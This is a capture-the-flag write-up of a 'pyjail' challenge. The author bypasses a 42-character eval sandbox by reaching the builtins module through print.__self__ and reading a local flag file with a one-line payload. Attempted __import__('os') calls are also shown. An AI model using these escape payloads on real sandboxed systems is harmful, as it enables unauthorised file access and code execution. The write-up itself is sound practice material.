WRITEUP LEVEL 3 PYJAIL DIST

The goal of this challenge was to find ways to break out of the restrictions and execute arbitrary code.

First I inspected the code which was a sandbox with a limitation of 42 chars that if characters exceeded 42 chars , it throws an assertion error. The code included an eval function that executes the input and print is available in builtin dict.

After gaining some understanding , I executed some code including some code like object internals, finding global scope on which it gave " <class 'list'> " , using claude to understand it actually meant that while direct imports are blocked, object attribute traversal is possible.

I executed another code which was print(print.__self__.__dict__.keys()) which gave the following result:

```
dict_keys(['name', 'doc', 'package', 'loader', 'spec', 'build_class', 'import', 'abs', 'all', 'any', 'ascii',
'bin', 'breakpoint', 'callable', 'chr', 'compile', 'delattr', 'dir', 'divmod', 'eval', 'exec', 'format', 'getattr',
'globals', 'hasattr', 'hash', 'hex', 'id', 'input', 'isinstance', 'issubclass', 'iter', 'aiter', 'len', 'locals',
'max', 'min', 'next', 'anext', 'oct', 'ord', 'pow', 'print', 'repr', 'round', 'setattr', 'sorted', 'sum', 'vars',
'None', 'Ellipsis', 'NotImplemented', 'False', 'True', 'bool', 'memoryview', 'bytearray', 'bytes',
'classmethod', 'complex', 'dict', 'enumerate', 'filter', 'float', 'frozenset', 'property', 'int', 'list', 'map',
'object', 'range', 'reversed', 'set', 'slice', 'staticmethod', 'str', 'super', 'tuple', 'type', 'zip', 'debug',
'BaseException', 'BaseExceptionGroup', 'Exception', 'GeneratorExit', 'KeyboardInterrupt',
'SystemExit', 'ArithmeticError', 'AssertionError', 'AttributeError', 'BufferError', 'EOFError',
'ImportError', 'LookupError', 'MemoryError', 'NameError', 'OSError', 'ReferenceError',
'RuntimeError', 'StopAsyncIteration', 'StopIteration', 'SyntaxError', 'SystemError', 'TypeError',
'ValueError', 'Warning', 'FloatingPointError', 'OverflowError', 'ZeroDivisionError', 'BytesWarning',
'DeprecationWarning', 'EncodingWarning', 'FutureWarning', 'ImportWarning',
'PendingDeprecationWarning', 'ResourceWarning', 'RuntimeWarning', 'SyntaxWarning',
'UnicodeWarning', 'UserWarning', 'BlockingIOError', 'ChildProcessError', 'ConnectionError',
'FileExistsError', 'FileNotFoundError', 'InterruptedError', 'IsADirectoryError', 'NotADirectoryError',
'PermissionError', 'ProcessLookupError', 'TimeoutError', 'IndentationError', 'IndexError',
'KeyError', 'ModuleNotFoundError', 'NotImplementedError', 'RecursionError',
'UnboundLocalError', 'UnicodeError', 'BrokenPipeError', 'ConnectionAbortedError',
'ConnectionRefusedError', 'ConnectionResetError', 'TabError', 'UnicodeDecodeError',
'UnicodeEncodeError', 'UnicodeTranslateError', 'ExceptionGroup', 'EnvironmentError', 'IOError',
'WindowsError', 'open', 'quit', 'exit', 'copyright', 'credits', 'license', 'help'])
```

After some understanding from claude What the output meant was we can reference the entire builtins module through print.__self.__dict__

After searching some online articles for pyjail breaks , some of commands I decided to test were :

```
->     __builtins__['open']("f.txt").read()

->    __builtins__['__import__'('os').listdir()
```

And after executing them , I received an error :

```
 Traceback (most recent call last):

File "d:\Level-3-main\jails\py\small\dist\chall.py", line 1, in <module>

eval((lambda x: (_ for * in ()).throw(AssertionError) if len(x) > 42 else x)(input(">>> ").strip()),
{'*_builtins__': {'print': print}})

File "<string>", line 1, in <module>

KeyError: 'open'
```

Which meant sandbox restricted __builtins__ , removing the 'open' function.And after headbanging with commands like :

```
->   print.__self__.__dict__['open']('f.txt').read()

->   print.__self__.__dict__['open']('f').read()
```

I came to conclusion that it should be less than 42 chars rather equal to 42 char so after executing following command I got my dummy flag

```
print(print.__self__.open("f.txt").read())
FLAG{FOO}
```